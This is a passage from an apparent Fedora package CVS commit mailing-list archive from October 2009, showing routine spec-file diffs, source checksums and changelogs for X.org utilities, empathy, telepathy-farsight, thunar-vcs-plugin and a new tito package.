-%define xkbutils_version 1.0.1
+%define xkbutils_version 1.0.2
 Source0: ftp://ftp.x.org/pub/individual/app/xkbutils-%{xkbutils_version}.tar.bz2
 Source1: ftp://ftp.x.org/pub/individual/app/xkbcomp-1.1.1.tar.bz2
-Source2: ftp://ftp.x.org/pub/individual/app/xkbevd-1.0.2.tar.bz2
+Source2: ftp://ftp.x.org/pub/individual/app/xkbevd-1.1.0.tar.bz2
 Source3: ftp://ftp.x.org/pub/individual/app/xkbprint-1.0.1.tar.bz2
 Source4: ftp://ftp.x.org/pub/individual/app/setxkbmap-1.1.0.tar.bz2
 
@@ -85,10 +85,17 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/xkbprint
 %{_bindir}/xkbvleds
 %{_bindir}/xkbwatch
+%{_mandir}/man1/xkbbell.1*
 %{_mandir}/man1/xkbevd.1*
 %{_mandir}/man1/xkbprint.1*
+%{_mandir}/man1/xkbvleds.*
+%{_mandir}/man1/xkbwatch.*
 
 %changelog
+* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com> 7.4-7
+- xkbevd 1.1.0
+- xkbutils 1.0.2
+
 * Wed Oct 07 2009 Adam Jackson <ajax at redhat.com> 7.4-6
 - xkbcomp 1.1.1
 



From cwickert at fedoraproject.org  Mon Oct 19 23:06:21 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 19 Oct 2009 23:06:21 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/F-11 thunar-vcs-plugin.spec,1.1,1.2
Message-ID: <20091019230621.6E4F711C00DC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26325/F-11

Modified Files:
	thunar-vcs-plugin.spec 
Log Message:
fix description


Index: thunar-vcs-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-11/thunar-vcs-plugin.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- thunar-vcs-plugin.spec	19 Oct 2009 16:53:42 -0000	1.1
+++ thunar-vcs-plugin.spec	19 Oct 2009 23:06:21 -0000	1.2
@@ -28,7 +28,7 @@ Obsoletes:      thunar-svn-plugin < 0.0.
 
 %description
 The Thunar VCS Plugin adds Subversion actions to the context menu of Thunar. 
-This gives a SVN integration integration to Thunar. The current features are:
+This gives a SVN integration to Thunar. The current features are:
 * Most of the svn action: add, blame, checkout, cleanup, commit, copy, delete,
   export, import, lock, log, move, properties, relocate, resolved, revert, 
   status, switch, unlock and update.



From cwickert at fedoraproject.org  Mon Oct 19 23:06:21 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 19 Oct 2009 23:06:21 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/F-10 thunar-vcs-plugin.spec,1.1,1.2
Message-ID: <20091019230621.5230511C00DC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26325/F-10

Modified Files:
	thunar-vcs-plugin.spec 
Log Message:
fix description


Index: thunar-vcs-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-10/thunar-vcs-plugin.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- thunar-vcs-plugin.spec	19 Oct 2009 16:53:42 -0000	1.1
+++ thunar-vcs-plugin.spec	19 Oct 2009 23:06:20 -0000	1.2
@@ -28,7 +28,7 @@ Obsoletes:      thunar-svn-plugin < 0.0.
 
 %description
 The Thunar VCS Plugin adds Subversion actions to the context menu of Thunar. 
-This gives a SVN integration integration to Thunar. The current features are:
+This gives a SVN integration to Thunar. The current features are:
 * Most of the svn action: add, blame, checkout, cleanup, commit, copy, delete,
   export, import, lock, log, move, properties, relocate, resolved, revert, 
   status, switch, unlock and update.



From cwickert at fedoraproject.org  Mon Oct 19 23:06:21 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 19 Oct 2009 23:06:21 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/F-12 thunar-vcs-plugin.spec,1.1,1.2
Message-ID: <20091019230621.9A7E811C00DC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26325/F-12

Modified Files:
	thunar-vcs-plugin.spec 
Log Message:
fix description


Index: thunar-vcs-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-12/thunar-vcs-plugin.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- thunar-vcs-plugin.spec	19 Oct 2009 16:53:42 -0000	1.1
+++ thunar-vcs-plugin.spec	19 Oct 2009 23:06:21 -0000	1.2
@@ -28,7 +28,7 @@ Obsoletes:      thunar-svn-plugin < 0.0.
 
 %description
 The Thunar VCS Plugin adds Subversion actions to the context menu of Thunar. 
-This gives a SVN integration integration to Thunar. The current features are:
+This gives a SVN integration to Thunar. The current features are:
 * Most of the svn action: add, blame, checkout, cleanup, commit, copy, delete,
   export, import, lock, log, move, properties, relocate, resolved, revert, 
   status, switch, unlock and update.



From cwickert at fedoraproject.org  Mon Oct 19 23:06:21 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Mon, 19 Oct 2009 23:06:21 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/devel thunar-vcs-plugin.spec,1.2,1.3
Message-ID: <20091019230621.CD3C711C00DC@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26325/devel

Modified Files:
	thunar-vcs-plugin.spec 
Log Message:
fix description


Index: thunar-vcs-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/devel/thunar-vcs-plugin.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- thunar-vcs-plugin.spec	19 Oct 2009 16:52:28 -0000	1.2
+++ thunar-vcs-plugin.spec	19 Oct 2009 23:06:21 -0000	1.3
@@ -28,7 +28,7 @@ Obsoletes:      thunar-svn-plugin < 0.0.
 
 %description
 The Thunar VCS Plugin adds Subversion actions to the context menu of Thunar. 
-This gives a SVN integration integration to Thunar. The current features are:
+This gives a SVN integration to Thunar. The current features are:
 * Most of the svn action: add, blame, checkout, cleanup, commit, copy, delete,
   export, import, lock, log, move, properties, relocate, resolved, revert, 
   status, switch, unlock and update.



From ajax at fedoraproject.org  Mon Oct 19 23:13:10 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Mon, 19 Oct 2009 23:13:10 +0000 (UTC)
Subject: rpms/xorg-x11-apps/devel .cvsignore, 1.20, 1.21 sources, 1.20,
	1.21 x11perf-1.4.1-x11perf-datadir-cleanups.patch, 1.1,
	1.2 xorg-x11-apps.spec, 1.44, 1.45
Message-ID: <20091019231310.5A3B911C00DC@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-apps/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28131

Modified Files:
	.cvsignore sources 
	x11perf-1.4.1-x11perf-datadir-cleanups.patch 
	xorg-x11-apps.spec 
Log Message:
* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com> 7.4-9
- xclipboard 1.1.0
- xcursorgen 1.0.3
- xpr 1.0.3
- xwd 1.0.3
- x11perf 1.5.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	13 Oct 2009 06:01:37 -0000	1.20
+++ .cvsignore	19 Oct 2009 23:13:09 -0000	1.21
@@ -21,3 +21,8 @@ xfontsel-1.0.2.tar.bz2
 xvidtune-1.0.1.tar.bz2
 luit-1.0.4.tar.bz2
 xeyes-1.0.991.tar.bz2
+xclipboard-1.1.0.tar.bz2
+xcursorgen-1.0.3.tar.bz2
+xpr-1.0.3.tar.bz2
+xwd-1.0.3.tar.bz2
+x11perf-1.5.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/devel/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	13 Oct 2009 06:01:37 -0000	1.20
+++ sources	19 Oct 2009 23:13:09 -0000	1.21
@@ -1,16 +1,10 @@
 91f49547f9ed3cd0137c8b7c3183e360  oclock-1.0.1.tar.bz2
-fd06c8b8e3572a0e14af65a49e0dd7d1  x11perf-1.4.1.tar.bz2
 404f5add4537d22dd109c33e518a5190  xbiff-1.0.1.tar.bz2
-2c6ecedb10dc51adbb64c95f22fd99c2  xclipboard-1.0.1.tar.bz2
 bb9fd5e00d39c348a0078b97fdf8258f  xclock-1.0.4.tar.bz2
-6fc90896b8c786cb1a2100b4167f7874  xcursorgen-1.0.2.tar.bz2
-033f14f7c4e30d1f4edbb22d5ef86883  xeyes-1.0.1.tar.bz2
 dca031355b4afcf8517a8258eeb730c3  xkill-1.0.2.tar.bz2
 b41ed6b4bcfc9897366c27a94d2bf150  xload-1.0.2.tar.bz2
 4c5482552f38a7d42398a694cc9b2ee6  xlogo-1.0.1.tar.bz2
 32f7ed4c089365cadb9382f6fbd750a9  xmag-1.0.3.tar.bz2
-6b3a6896081f628bf5a2c9129417c86f  xpr-1.0.2.tar.bz2
-911addfb7fa402217ddac63e5c1d97c7  xwd-1.0.1.tar.bz2
 20bc5d85634964d4ceee77cdfcd131ed  xwud-1.0.2.tar.bz2
 0e1a3110bebabecc2897d67a973526b0  xconsole-1.0.3.tar.bz2
 b4b561ef11fd184989a6062962e86748  xmessage-1.0.2.tar.bz2
@@ -20,3 +14,8 @@ c72abd90f50ef459bc14b39ec9fcc7f8  xfd-1.
 e0744594f4e5969b20df28d897781318  xvidtune-1.0.1.tar.bz2
 4e45233e310d72dce307709761cf241b  luit-1.0.4.tar.bz2
 ba1b886bd6104018fe78ab431d83ce4d  xeyes-1.0.991.tar.bz2
+113eccea3ee73a1ef7b43d2291ca1e09  xclipboard-1.1.0.tar.bz2
+69df079b3950a0db4e5f4e6f0e00ddee  xcursorgen-1.0.3.tar.bz2
+1c2c540d240def3ea65ff2030f059f8a  xpr-1.0.3.tar.bz2
+007cea1f389abde5c93162dcd5541351  xwd-1.0.3.tar.bz2
+66e4aa4645f83809071eb69553ed0222  x11perf-1.5.1.tar.bz2

x11perf-1.4.1-x11perf-datadir-cleanups.patch:
 Makefile.am |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: x11perf-1.4.1-x11perf-datadir-cleanups.patch
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/devel/x11perf-1.4.1-x11perf-datadir-cleanups.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- x11perf-1.4.1-x11perf-datadir-cleanups.patch	3 Mar 2006 01:37:12 -0000	1.1
+++ x11perf-1.4.1-x11perf-datadir-cleanups.patch	19 Oct 2009 23:13:09 -0000	1.2
@@ -1,5 +1,5 @@
 --- x11perf-0.99.1/Makefile.am.x11perf-datadir-cleanups	2005-11-23 13:03:27.000000000 -0500
-+++ x11perf-1.4.1/Makefile.am	2005-11-23 13:03:57.000000000 -0500
++++ x11perf-1.5.1/Makefile.am	2005-11-23 13:03:57.000000000 -0500
 @@ -23,7 +23,7 @@
  
  bin_SCRIPTS = x11perfcomp


Index: xorg-x11-apps.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/devel/xorg-x11-apps.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- xorg-x11-apps.spec	13 Oct 2009 06:01:37 -0000	1.44
+++ xorg-x11-apps.spec	19 Oct 2009 23:13:09 -0000	1.45
@@ -5,7 +5,7 @@ Name: xorg-x11-%{pkgname}
 # NOTE: The package version should be set to the X11 major release from which
 # the OS release is based upon.
 Version: 7.4
-Release: 8%{?dist}
+Release: 9%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -15,16 +15,16 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 Source0:  ftp://ftp.x.org/pub/individual/app/oclock-1.0.1.tar.bz2
 Source1:  ftp://ftp.x.org/pub/individual/app/xclock-1.0.4.tar.bz2
 # X Window Dump (xwd) utilities
-Source2:  ftp://ftp.x.org/pub/individual/app/xwd-1.0.1.tar.bz2
+Source2:  ftp://ftp.x.org/pub/individual/app/xwd-1.0.3.tar.bz2
 Source3:  ftp://ftp.x.org/pub/individual/app/xwud-1.0.2.tar.bz2
-Source4:  ftp://ftp.x.org/pub/individual/app/xpr-1.0.2.tar.bz2
+Source4:  ftp://ftp.x.org/pub/individual/app/xpr-1.0.3.tar.bz2
 # Miscellaneous other applications
 Source5:  ftp://ftp.x.org/pub/individual/app/luit-1.0.4.tar.bz2
-Source6:  ftp://ftp.x.org/pub/individual/app/x11perf-1.4.1.tar.bz2
+Source6:  ftp://ftp.x.org/pub/individual/app/x11perf-1.5.1.tar.bz2
 Source7:  ftp://ftp.x.org/pub/individual/app/xbiff-1.0.1.tar.bz2
-Source8:  ftp://ftp.x.org/pub/individual/app/xclipboard-1.0.1.tar.bz2
+Source8:  ftp://ftp.x.org/pub/individual/app/xclipboard-1.1.0.tar.bz2
 Source9:  ftp://ftp.x.org/pub/individual/app/xconsole-1.0.3.tar.bz2
-Source10: ftp://ftp.x.org/pub/individual/app/xcursorgen-1.0.2.tar.bz2
+Source10: ftp://ftp.x.org/pub/individual/app/xcursorgen-1.0.3.tar.bz2
 Source11: ftp://ftp.x.org/pub/individual/app/xeyes-1.0.991.tar.bz2
 Source12: ftp://ftp.x.org/pub/individual/app/xkill-1.0.2.tar.bz2
 Source13: ftp://ftp.x.org/pub/individual/app/xload-1.0.2.tar.bz2
@@ -43,7 +43,6 @@ Patch4: xlogo-less-xprint.patch
 
 BuildRequires: autoconf automake
 
-BuildRequires: pkgconfig
 BuildRequires: xorg-x11-util-macros
 # xbiff needs xbitmaps-devel
 BuildRequires: xbitmaps-devel
@@ -188,6 +187,13 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xwud.1*
 
 %changelog
+* Mon Oct 19 2009 Adam Jackson <ajax at redhat.com> 7.4-9
+- xclipboard 1.1.0
+- xcursorgen 1.0.3
+- xpr 1.0.3
+- xwd 1.0.3
+- x11perf 1.5.1
+
 * Tue Oct 13 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-8
 - xinput 1.5.0
 - xwud 1.0.2



From bpepple at fedoraproject.org  Mon Oct 19 23:17:58 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Mon, 19 Oct 2009 23:17:58 +0000 (UTC)
Subject: rpms/empathy/F-12 .cvsignore, 1.40, 1.41 empathy.spec, 1.81,
	1.82 sources, 1.40, 1.41 no-settings.patch, 1.1, NONE
Message-ID: <20091019231758.BA7F711C00DC@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/empathy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31034

Modified Files:
	.cvsignore empathy.spec sources 
Removed Files:
	no-settings.patch 
Log Message:
* Mon Oct 19 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1-1
- Update to 2.28.1.
- Drop no-settings patch.  Fixed upstream.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/.cvsignore,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- .cvsignore	2 Oct 2009 19:33:45 -0000	1.40
+++ .cvsignore	19 Oct 2009 23:17:58 -0000	1.41
@@ -1 +1 @@
-empathy-2.28.0.1.tar.bz2
+empathy-2.28.1.tar.bz2


Index: empathy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/empathy.spec,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- empathy.spec	17 Oct 2009 21:18:57 -0000	1.81
+++ empathy.spec	19 Oct 2009 23:17:58 -0000	1.82
@@ -13,8 +13,8 @@
 %global libchamplain_version    0.4
 
 Name:		empathy
-Version:	2.28.0.1
-Release:	3%{?dist}
+Version:	2.28.1
+Release:	1%{?dist}
 Summary:	Instant Messaging Client for GNOME
 
 Group:		Applications/Communications
@@ -33,8 +33,6 @@ Patch1:		%{name}-broken-pkgconfig.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=592853
 Patch3:		presence-icons.patch
 Patch5:		%{name}-broken-nm.patch
-# fixed upstream, https://bugzilla.gnome.org/show_bug.cgi?id=597416
-Patch6:         no-settings.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -139,7 +137,6 @@ bindings to the libempathy and libempath
 %patch1 -p1 -b .pkgconfig
 %patch3 -p1 -b .presence-icons
 %patch5 -p1 -b .nm
-%patch6 -p1 -b .no-settings
 
 # force these to be regenerated
 rm data/empathy.desktop
@@ -248,6 +245,10 @@ fi
 %{python_sitearch}/empathy*.so
 
 %changelog
+* Mon Oct 19 2009 Brian Pepple <bpepple at fedoraproject.org> - 2.28.1-1
+- Update to 2.28.1.
+- Drop no-settings patch.  Fixed upstream.
+
 * Sat Oct 17 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0.1-3
 - Include an upstream fix for a possible crash in the accounts dialog
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/empathy/F-12/sources,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- sources	2 Oct 2009 19:33:45 -0000	1.40
+++ sources	19 Oct 2009 23:17:58 -0000	1.41
@@ -1 +1 @@
-a11420a2c3ae18c26026e729b479a15e  empathy-2.28.0.1.tar.bz2
+021a05da920055d514cc51c4a538377f  empathy-2.28.1.tar.bz2


--- no-settings.patch DELETED ---



From bpepple at fedoraproject.org  Mon Oct 19 23:24:39 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Mon, 19 Oct 2009 23:24:39 +0000 (UTC)
Subject: rpms/telepathy-farsight/devel .cvsignore, 1.8, 1.9 sources, 1.8,
	1.9 telepathy-farsight.spec, 1.10, 1.11
Message-ID: <20091019232439.2DE3E11C00DC@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/telepathy-farsight/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32708

Modified Files:
	.cvsignore sources telepathy-farsight.spec 
Log Message:
* Mon Oct 19 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.0.12-1
- Update to 0.0.12.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-farsight/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	10 Sep 2009 22:54:43 -0000	1.8
+++ .cvsignore	19 Oct 2009 23:24:38 -0000	1.9
@@ -1 +1 @@
-telepathy-farsight-0.0.11.tar.gz
+telepathy-farsight-0.0.12.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-farsight/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	10 Sep 2009 22:54:44 -0000	1.8
+++ sources	19 Oct 2009 23:24:38 -0000	1.9
@@ -1 +1 @@
-e9b73829e4211d970732db5ba0c83a45  telepathy-farsight-0.0.11.tar.gz
+1605a4c411ca1d26c3e395d8c69ccf3f  telepathy-farsight-0.0.12.tar.gz


Index: telepathy-farsight.spec
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-farsight/devel/telepathy-farsight.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- telepathy-farsight.spec	10 Sep 2009 22:54:44 -0000	1.10
+++ telepathy-farsight.spec	19 Oct 2009 23:24:39 -0000	1.11
@@ -5,7 +5,7 @@
 %define farsight2_ver   0.0.14
 
 Name:           telepathy-farsight
-Version:        0.0.11
+Version:        0.0.12
 Release:        1%{?dist}
 Summary:        Telepathy client to handle media streaming channels
 
@@ -107,6 +107,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/gtk-doc/html/%{name}
 
 %changelog
+* Mon Oct 19 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.0.12-1
+- Update to 0.0.12.
+
 * Thu Sep 10 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.0.11-1
 - Update to 0.0.11.
 



From dgoodwin at fedoraproject.org  Mon Oct 19 23:47:15 2009
From: dgoodwin at fedoraproject.org (Devan Goodwin)
Date: Mon, 19 Oct 2009 23:47:15 +0000 (UTC)
Subject: rpms/tito/devel import.log, NONE, 1.1 tito.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019234715.E0DB311C00DC@cvs1.fedora.phx.redhat.com>

Author: dgoodwin

Update of /cvs/extras/rpms/tito/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7481/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log tito.spec 
Log Message:
Initial import (#526351).


--- NEW FILE import.log ---
tito-0_1_1-1_fc12:HEAD:tito-0.1.1-1.fc12.src.rpm:1255995999


--- NEW FILE tito.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name: tito
Version: 0.1.1
Release:        1%{?dist}
Summary: A tool for managing rpm based git projects

Group: Development/Tools
License: GPLv2
URL: http://rm-rf.ca/tito
Source0: http://rm-rf.ca/files/tito/tito-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch: noarch
BuildRequires: python-devel

%description
Tito is a tool for managing tarballs, rpms, and builds for projects using
git.

%prep
%setup -q -n tito-%{version}


%build
%{__python} setup.py build


%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT
rm -f $RPM_BUILD_ROOT%{python_sitelib}/*egg-info/requires.txt


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc README.mkd
%{_bindir}/tito
%{_bindir}/bump-version.pl
%{_bindir}/tar-fixup-stamp-comment.pl
%{_bindir}/test-setup-specfile.pl
%dir %{python_sitelib}/tito
%{python_sitelib}/tito/*
%{python_sitelib}/tito-*.egg-info


%changelog
* Tue Aug 25 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.1.1-1
- Bumping to 0.1.0 for first release. 

* Mon Aug 24 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.0.4-1
- Hack to fix import of tagger/builder on Python 2.4. (dgoodwin at rm-rf.ca)

* Thu Aug 06 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.0.3-1
- Introduce --output option for destination/tmp directory. (dgoodwin at rm-rf.ca)
- Use tito.props for project specific config filename. (dgoodwin at rm-rf.ca)
- Add multi-project repo tagging tests. (dgoodwin at rm-rf.ca)
- Add support for offline (standalone) git repos. (dgoodwin at rm-rf.ca)
- Fix reports for single project git repos. (dgoodwin at rm-rf.ca)
- Add README documentation. (dgoodwin at rm-rf.ca)

* Wed Jul 22 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.0.1-1
- Initial packaging.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/tito/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 15:58:51 -0000	1.1
+++ .cvsignore	19 Oct 2009 23:47:12 -0000	1.2
@@ -0,0 +1 @@
+tito-0.1.1.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/tito/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:58:51 -0000	1.1
+++ sources	19 Oct 2009 23:47:12 -0000	1.2
@@ -0,0 +1 @@
+ca010a6babe53af4b7a89dead103ac03  tito-0.1.1.tar.gz



From dgoodwin at fedoraproject.org  Mon Oct 19 23:50:54 2009
From: dgoodwin at fedoraproject.org (Devan Goodwin)
Date: Mon, 19 Oct 2009 23:50:54 +0000 (UTC)
Subject: rpms/tito/EL-5 tito.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091019235054.B988D11C00DC@cvs1.fedora.phx.redhat.com>

Author: dgoodwin

Update of /cvs/extras/rpms/tito/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9790/EL-5

Modified Files:
	sources 
Added Files:
	tito.spec 
Log Message:
Adding EL5, F11 and F12 branches for Tito.



--- NEW FILE tito.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name: tito
Version: 0.1.1
Release:        1%{?dist}
Summary: A tool for managing rpm based git projects

Group: Development/Tools
License: GPLv2
URL: http://rm-rf.ca/tito
Source0: http://rm-rf.ca/files/tito/tito-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch: noarch
BuildRequires: python-devel

%description
Tito is a tool for managing tarballs, rpms, and builds for projects using
git.

%prep
%setup -q -n tito-%{version}


%build
%{__python} setup.py build


%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT
rm -f $RPM_BUILD_ROOT%{python_sitelib}/*egg-info/requires.txt


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc README.mkd
%{_bindir}/tito
%{_bindir}/bump-version.pl
%{_bindir}/tar-fixup-stamp-comment.pl
%{_bindir}/test-setup-specfile.pl
%dir %{python_sitelib}/tito
%{python_sitelib}/tito/*
%{python_sitelib}/tito-*.egg-info


%changelog
* Tue Aug 25 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.1.1-1
- Bumping to 0.1.0 for first release. 

* Mon Aug 24 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.0.4-1
- Hack to fix import of tagger/builder on Python 2.4. (dgoodwin at rm-rf.ca)

* Thu Aug 06 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.0.3-1
- Introduce --output option for destination/tmp directory. (dgoodwin at rm-rf.ca)
- Use tito.props for project specific config filename. (dgoodwin at rm-rf.ca)
- Add multi-project repo tagging tests. (dgoodwin at rm-rf.ca)
- Add support for offline (standalone) git repos. (dgoodwin at rm-rf.ca)
- Fix reports for single project git repos. (dgoodwin at rm-rf.ca)
- Add README documentation. (dgoodwin at rm-rf.ca)

* Wed Jul 22 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.0.1-1
- Initial packaging.



Index: sources
===================================================================
RCS file: /cvs/extras/rpms/tito/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 15:58:51 -0000	1.1
+++ sources	19 Oct 2009 23:50:54 -0000	1.2
@@ -0,0 +1 @@
+ca010a6babe53af4b7a89dead103ac03  tito-0.1.1.tar.gz



From dgoodwin at fedoraproject.org  Mon Oct 19 23:50:54 2009
From: dgoodwin at fedoraproject.org (Devan Goodwin)
Date: Mon, 19 Oct 2009 23:50:54 +0000 (UTC)
Subject: rpms/tito/F-11 tito.spec,NONE,1.1 sources,1.1,1.2
Message-ID: <20091019235054.E37CD11C00DC@cvs1.fedora.phx.redhat.com>

Author: dgoodwin

Update of /cvs/extras/rpms/tito/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9790/F-11

Modified Files:
	sources 
Added Files:
	tito.spec 
Log Message:
Adding EL5, F11 and F12 branches for Tito.



--- NEW FILE tito.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name: tito
Version: 0.1.1
Release:        1%{?dist}
Summary: A tool for managing rpm based git projects

Group: Development/Tools
License: GPLv2
URL: http://rm-rf.ca/tito
Source0: http://rm-rf.ca/files/tito/tito-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch: noarch
BuildRequires: python-devel

%description
Tito is a tool for managing tarballs, rpms, and builds for projects using
git.

%prep
%setup -q -n tito-%{version}


%build
%{__python} setup.py build


%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT
rm -f $RPM_BUILD_ROOT%{python_sitelib}/*egg-info/requires.txt


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc README.mkd
%{_bindir}/tito
%{_bindir}/bump-version.pl
%{_bindir}/tar-fixup-stamp-comment.pl
%{_bindir}/test-setup-specfile.pl
%dir %{python_sitelib}/tito
%{python_sitelib}/tito/*
%{python_sitelib}/tito-*.egg-info


%changelog
* Tue Aug 25 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.1.1-1
- Bumping to 0.1.0 for first release. 

* Mon Aug 24 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.0.4-1
- Hack to fix import of tagger/builder on Python 2.4. (dgoodwin at rm-rf.ca)

* Thu Aug 06 2009 Devan Goodwin <dgoodwin at rm-rf.ca> 0.0.3-1
